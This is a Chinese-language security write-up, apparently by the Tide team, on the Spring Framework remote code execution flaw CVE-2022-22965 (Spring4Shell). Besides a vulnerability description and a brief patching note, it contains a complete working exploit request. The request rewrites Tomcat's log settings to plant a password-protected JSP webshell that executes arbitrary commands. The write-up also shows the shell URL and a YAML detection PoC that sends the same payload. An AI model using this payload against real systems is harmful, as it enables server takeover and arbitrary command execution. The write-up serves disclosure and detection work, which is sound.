
0x01 漏洞描述Spring framework 是Spring 裡面的一個基礎開源框架,其目的是用於簡化 Java 企業級應用的開發難度和開發周期,2022年3月31日,VMware Tanzu發布漏洞報告,Spring Framework存在遠程代碼執行漏洞,在 JDK 9+ 上運行的 Spring MVC 或 Spring WebFlux 應用程序可能容易受到通過數據綁定的遠程代碼執行 (RCE) 的攻擊0x02 漏洞影響範圍Spring Framework < 5.3.18Spring Framework < 5.2.200x03 漏洞利用條件JDK9或以上版本系列Spring框架或衍生的SpringBoot等框架,版本小於v5.3.18或v5.2.20Spring JavaBean表單參數綁定需要滿足一定條件部署在Tomcat容器中,且日誌記錄功能開啟(默認狀態)0x04漏洞復現
http://your-ip:8080/?name=Bob&age=25
訪問對應的controller,這裡設置了日誌的文件名、文件路徑、以及後綴名,將後綴名設置為.jsp,然後不斷地寫入執行命令的jsp代碼,從而實現webshell的寫入,還需要補充cookie。GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1Host: ip:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closesuffix: %>//c1: Runtimec2: <%DNT: 1
然後,訪問剛寫入的JSP Webshell,執行任意命令http://ip:8080/tomcatwar.jsp?pwd=j&cmd=id
0x05檢測poc規則編寫params: []name: Spring 遠程命令執行漏洞(CVE-2022-22965)set: {}rules:- method: GET path: '/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= ' headers: DNT: "1" c1: Runtime c2: <% suffix: '%>//' body: "" search: "" followredirects: false expression: response.status == 200- method: GET path: /tomcatwar.jsp?pwd=j&cmd=id headers: {} body: "" search: "" followredirects: false expression: response.status == 200 && response.body.bcontains(b"uid")groups: {}detail: author: "" links: [] description: "" version: ""
0x06漏洞修復1、官方已發布漏洞補丁及修復版本,請評估業務是否受影響後,酌情升級至安全版本。https://blog.csdn.net/huangyongkang666/article/details/124187398
Tide安全團隊正式成立於2019年1月,是新潮信息旗下以互聯網攻防技術研究為目標的安全團隊,團隊致力於分享高質量原創文章、開源安全工具、交流安全技術,研究方向覆蓋網絡攻防、系統安全、Web安全、移動終端、安全開發、物聯網/工控安全/AI安全等多個領域。
團隊作為「省級等保關鍵技術實驗室」先後與哈工大、齊魯銀行、聊城大學、交通學院等多個高校名企建立聯合技術實驗室,近三年來在網絡安全技術方面開展研發項目60餘項,獲得各類自主知識產權30餘項,省市級科技項目立項20餘項,研究成果應用於產品核心技術研究、國家重點科技項目攻關、專業安全服務等。對安全感興趣的小夥伴可以加入或關注我們。